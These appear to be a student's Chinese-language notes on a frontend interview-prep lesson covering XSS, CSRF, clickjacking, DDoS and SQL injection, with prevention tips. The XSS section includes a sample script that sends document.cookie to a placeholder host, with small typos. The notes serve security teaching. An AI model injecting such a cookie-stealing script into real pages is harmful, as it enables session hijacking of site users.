第一模块(课程信息):
课程名称:2周刷完100道前端优质面试真题
课程章节:第六章第十四节 前端攻击手段有哪些,该如何预防?
主讲老师:双越
第二模块(课程内容):
课程内容概述
预防前端攻击到底前端做还是后端做?两个人不可以踢皮球,谁也推卸不了责任,不可以独善其身。
前端可以做前端的预防攻击,后端做后端的预防攻击,可以用特殊字符替换的方式。
一、XSS攻击
- Cross Site Script跨站脚本攻击
- 手段:黑客将js代码插入到网页内容中,渲染时执行js代码
- 预防:特殊字符替换(前端或者后端)
<script>
var img = document.createElement('image');
img.src='https://xxx.com/api/xxx?cookie='+document.cookie
</scropt>
vue和react能够默认屏蔽掉xss攻击
vue:v-html除外
react:dangerouslySetInnerHTML***除外
二、CSRF
- Cross Site Request Forgery 跨站请求伪造
- 手段:黑客诱导用户访问另一个网站的接口,伪造请求
- 预防:严格的跨域验证+验证码机制
详细过程
- 用户登录A网站,有了cookie
- 黑客诱导到B网站,并发起A网站的请求
- A网站发现API有cookie,认为是用户自己操作的
预防手段:
- 严格的跨域请求限制,判断referrer(请求来源)
- 为cookie设置SameSite,禁止跨域传递cookie
三、点击劫持
- Click Jacking
- 手段:诱导界面上蒙一个透明的iframe,诱导用户点击
- 预防:让iframe不能跨域加载
四、DDos
- Distribute denial-of-service分布式拒绝服务
- 手段:分布式的、大规模的流量访问,使服务器瘫痪
- 预防:需要硬件预防,如阿里云的WAF
五、SQL注入
- 手段:黑客提交内容时写入SQL语句,破坏数据库
- 预防:处理输入的内容,替换特殊字符
第三模块(学习心得):
学习了5种前端攻击的手段和预防方法。
- XSS
- CSRF
- 点击劫持
- DDos
- SQL注入